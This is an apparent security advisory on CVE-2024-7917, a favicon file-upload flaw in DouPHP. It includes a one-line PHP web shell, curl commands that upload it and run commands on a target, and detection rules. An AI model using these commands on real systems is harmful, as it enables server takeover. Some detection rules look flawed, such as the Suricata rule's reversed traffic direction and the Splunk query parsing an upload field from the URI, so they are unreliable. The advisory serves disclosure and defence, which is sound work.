CVE-2024-7917

Executive Summary

CVE-2024-7917 is a critical unrestricted file upload vulnerability affecting DouPHP version 1.7 Release 20220822. The flaw resides in the /admin/system.php file, specifically within the Favicon Handler functionality. By manipulating the site_favicon argument, an unauthenticated remote attacker can upload arbitrary files, including web shells, leading to full server compromise. The vulnerability has been publicly disclosed, and proof-of-concept (PoC) code is available, increasing the risk of active exploitation. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and impacted component are the same.
• Confidentiality Impact: High (C:H) – Full read access to server files and data.
• Integrity Impact: High (I:H) – Arbitrary file upload allows modification of server content.
• Availability Impact: High (A:H) – An attacker can delete or overwrite critical files, causing denial of service.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public PoC makes this a high-priority vulnerability for any organization using DouPHP.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the Favicon upload functionality. The /admin/system.php script processes the site_favicon parameter without proper validation of the file type, size, or content. The application likely uses a simple move_uploaded_file() or similar function without checking the file extension or MIME type against a whitelist.

Attack Flow:

1. An attacker sends a POST request to /admin/system.php with a crafted multipart form-data payload.
2. The site_favicon parameter is set to a file containing malicious PHP code (e.g., a web shell).
3. The server saves the file to a web-accessible directory (e.g., /uploads/ or /theme/).
4. The attacker accesses the uploaded file via a web browser, executing the PHP code.
5. The attacker gains remote code execution (RCE) on the server.

Root Cause: Lack of input validation and file type filtering. The application does not check if the uploaded file is a valid image (e.g., by verifying magic bytes or using getimagesize()).

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical secure implementation.

Vulnerable Code (Conceptual):

// /admin/system.php (simplified)
if (isset($_FILES['site_favicon'])) {
    $target_dir = "uploads/";
    $target_file = $target_dir . basename($_FILES["site_favicon"]["name"]);
    move_uploaded_file($_FILES["site_favicon"]["tmp_name"], $target_file);
}

Patched Code (Conceptual):

// /admin/system.php (patched)
$allowed_extensions = ['ico', 'png', 'jpg', 'jpeg', 'gif'];
$allowed_mime_types = ['image/x-icon', 'image/png', 'image/jpeg', 'image/gif'];

if (isset($_FILES['site_favicon'])) {
    $file_extension = strtolower(pathinfo($_FILES["site_favicon"]["name"], PATHINFO_EXTENSION));
    $file_mime_type = mime_content_type($_FILES["site_favicon"]["tmp_name"]);

    if (!in_array($file_extension, $allowed_extensions) || !in_array($file_mime_type, $allowed_mime_types)) {
        die("Invalid file type.");
    }

    // Additional check: verify image using getimagesize()
    if (getimagesize($_FILES["site_favicon"]["tmp_name"]) === false) {
        die("File is not a valid image.");
    }

    $target_dir = "uploads/";
    $target_file = $target_dir . uniqid() . "." . $file_extension;
    move_uploaded_file($_FILES["site_favicon"]["tmp_name"], $target_file);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running DouPHP 1.7 Release 20220822.
• A web shell payload (e.g., shell.php).

Exploit Steps:

1. Prepare a malicious PHP file (e.g., favicon.php):

   <?php system($_GET['cmd']); ?>
   

2. Send a POST request to /admin/system.php with the file as the site_favicon parameter:

   curl -X POST -F "site_favicon=@favicon.php" http://target.com/admin/system.php
   

3. Access the uploaded shell (the exact path may vary; common locations include /uploads/ or /theme/):

   curl http://target.com/uploads/favicon.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for POST requests to /admin/system.php with unusual file extensions (e.g., .php, .phtml, .php5).
2. Check the /uploads/ directory for unexpected files, especially those with PHP extensions.
3. Review file integrity monitoring (FIM) alerts for new files in web-accessible directories.
4. Use the YARA and Sigma rules provided in the Detection Engineering section.

Hunting Query (Splunk):

index=web_logs source="/var/log/apache2/access.log"
| search uri="/admin/system.php" method=POST
| rex field=uri "site_favicon=(?<filename>[^&]+)"
| search filename IN (*.php, *.phtml, *.php5)
| table _time, src_ip, uri, filename

Indicators of Compromise (IOCs)

• File Paths:
  • /admin/system.php (vulnerable script)
  • /uploads/favicon.php (example uploaded shell)
  • /theme/favicon.php (alternative upload location)
• Network Indicators:
  • POST requests to /admin/system.php with Content-Type: multipart/form-data
  • User-Agent strings commonly used by exploit tools (e.g., curl/7.68.0, python-requests/2.25.1)
• File Hashes (Example):
  • favicon.php (malicious): e99a18c428cb38d5f260853678922e03 (MD5)
• Log Patterns:
  • POST /admin/system.php HTTP/1.1 200
  • GET /uploads/favicon.php?cmd=id HTTP/1.1 200

Detection Engineering

YARA Rule

rule CVE_2024_7917_Unrestricted_Upload {
    meta:
        description = "Detects exploitation attempts for CVE-2024-7917 in DouPHP"
        author = "Valters IT"
        date = "2024-08-22"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-7917"
    strings:
        $s1 = "site_favicon" ascii wide nocase
        $s2 = "move_uploaded_file" ascii wide nocase
        $s3 = "system.php" ascii wide nocase
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-7917 - Unrestricted File Upload in DouPHP
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /admin/system.php with file uploads
author: Valters IT
date: 2024/08/22
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/admin/system.php'
        cs-content-type: 'multipart/form-data*'
    condition: selection
falsepositives:
    - Legitimate favicon uploads by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-7917 - DouPHP Unrestricted File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/system.php"; http_uri; content:"multipart/form-data"; http_client_body; pcre:"/site_favicon/"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Favicon upload functionality by removing or commenting out the relevant code in /admin/system.php.
2. Restrict access to /admin/system.php using IP whitelisting or HTTP authentication (e.g., .htaccess).
3. Implement a Web Application Firewall (WAF) rule to block POST requests to /admin/system.php with file uploads.

Long-Term Fix:

• Apply input validation and file type whitelisting as shown in the patched code example.
• Use getimagesize() to verify uploaded files are valid images.
• Store uploaded files outside the web root and serve them via a proxy script.
• Monitor the vendor's website for an official patch.

Workaround:

• If the favicon feature is not critical, disable it entirely by setting site_favicon to a static value and removing the upload form.

Valters IT